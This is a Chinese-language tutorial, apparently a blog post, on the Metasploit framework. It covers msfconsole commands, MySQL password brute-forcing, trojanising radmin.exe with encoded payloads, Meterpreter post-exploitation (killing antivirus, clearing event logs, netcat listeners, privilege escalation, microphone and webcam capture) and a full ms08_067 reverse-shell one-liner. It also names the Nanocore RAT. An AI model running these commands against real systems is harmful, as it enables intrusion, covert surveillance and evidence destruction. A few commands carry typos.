msf架构:

Rex:调用的是操作系统中函数库,各种协议的沟通,协议的连接。是MSF依赖的基础。
MSF:core:最底层的库,MSF的核心库。
MSF:base: 由于核心库调用复杂凌乱,整理之后的结构为如下的几个模块,便于调用。
MSF:UI 用户界面。

启动:
kali虚拟机下直接点击图标就可以使用
关于MSF数据库

msfdb

msfdb init 初始化数据库
msfdb reinit 删除目前的的然后进行初化
msfdb delete 删除数据库,不在使用。
netstat -pantu |grep 5432
msf使用postgres数据库,在5432端口上。

msf渗透测试模块
放置位置:
/usr/share/metasploit-framework/modules

技术功能模块:


更新
msfupdate
基本使用
msfconsole 接口

1.banner
信息小贴士,每次敲出,提示的结果循环展示。
2.color
显示颜色,重要的模块或者区分时会自动标上不同颜色。
可以用color false取消,默认开启。
3.connect
连接命令,直接跟 ip:端口 地址会直接尝试连接。
4.show
重要命令,展示模块信息

例如,查看exploits
show exploits

6.search
在已有的模块中搜索相应的漏洞利用。

7.use
使用某个模块
例如:
use exploit/windows/http/serviio_checkstreamurl_cmd_exec
接着需要show options ,表示需要配置的参数,显示为yes的为必须配置的选项

use某个模块后一般使用的show命令。

show missing 查看需要配置但是还没配置的参数。
7.check,back
check 用来利用漏洞之前测试是否可用,back返回msf的根目录下。
db相关命令

db_status为状态语句
db_nmap 就可以在msf中直接执行nmap语句。

mysql_login
可以对mysql数据库密码进行爆破

msf auxiliary(mysql_login) > set BLANK_PASSWORDS true
BLANK_PASSWORDS => true
msf auxiliary(mysql_login) > set RHOSTS 192.168.1.3
RHOSTS => 192.168.1.3
set USERNAME root
USERNAME => root
run
[+] 192.168.1.3:3306 - 192.168.1.3:3306 -
[-] 192.168.1.3:3306 - 192.168.1.3:3306 -
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
密码并不为空,连接失败。
常用的其他控制台命令

setg 为设置全局,设置之后,无论调用哪个模块,它会自动设置参数为setg后的值。
引用外部的漏洞扫描
load 命令

例如
load nessus
loadpath 可以指定路径来执行自己保存的expliiot模块。
route命令用于控制了某个子网的一台机器的时候,可以用route来添加路由,方便进一步的渗透。
resource命令
资源文件,当我们拿到一个主机的shell的时候,我们可以把set等语句保存在一个文件里,例如a.rc,再次使用时直接调用这个资源文件,直接拿到shell,不用再次敲那么多命令了。
msfconcsol -r a.rc
生成payload

payload是可以直接拿来用的,选择使用哪个payload之后,我们可以用generate命令来生成payload,但是直接生成的payload会包含’坏字符’也就是在执行过程中被转义或者其他意思的字符,例如%00,%ff等。可以用generate -b 字符来对坏字符进行encoder,实现重新编码。
use payload/windows/shell_bind_tcp
generate -b '\x00'
generate -b '\x00xff'
指定encoder
generate -e x86/service

generate -b '\x00' -t exe -e x86/shikate_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
恶意程序生成软件
Nanocore
下载地址
Meterpreter

显示桌面的进程为
:explorer.exe,kill掉这个进程,直接桌面不再显示。
基本命令

background 返回到之前的界面。
lpwd 显示攻击机的现在路径
lcd 指的是进入攻击机的某个目录
run 运行命令,包含200多个shell,例如:
bgrun killav //杀掉被攻击机的杀毒进程
bgrun 是在后天运行

clearev 用来清除日志,黑客用来将日志文件删除来确保行踪不被查到
cmd 下eventvwr 命令来查看系统日志
download 命名用来下载被攻击机的文件,保存在lpwd的目录下。
upload命令用来上传文件到目标主机,例如:
upload /var/share/windows-shell/nc.exe C:\\Windows\\system32
execute 执行命令
例如:
execute -f nc.exe - nvlp 3333
执行nc命令,在3333端口监听
补充:
netstat -aon 能看到所有的使用端口

netstat -aon | findstr “1544” 查看1544端口所占用的pid
tasklist | findstr “4300” 查看该进程的信息

dgservice.exe为驱动精灵的后台程序
getuid 为查看用户uid,getsystem倘若不是system用户,直接获取system权限。getprivs 查看当前权限,getpid查看进程号,因为它是以注入的方式依附在一个进程上,所以显示出某个程序的进程号。可以用migrate命令迁移。

下一页

idletime 显示操作系统已经空闲的时间,这个可以帮助我们推断机器是否有人在操控,避免操作冲突。
record_mic 监听被攻击机的录音
webcam_list 获取机器的web连接
webcam_snap -i 1 -v false 每隔1秒摄像头。
有关python

Msfcli(已经启用)

msfconsole -x "use exploit/windows/smb/ms08_067_netapi;
set RHOST 1.1.1.1; set PAYLOAD windows/meterpreter/ reverse_tcp;
set LHOST 1.1.1.8; set LPORT 5555; set target 34; exploit"
本文详细介绍了Metasploit(MSF)框架的架构、启动方式、数据库管理、常用命令及Meterpreter的使用。通过msfconsole接口,可以进行模块搜索、选项配置、payload生成、数据库操作和远程控制。Meterpreter提供了一系列高级命令,如进程控制、文件传输、权限提升等,增强了渗透测试的效率。
16万+

被折叠的 条评论
为什么被折叠?



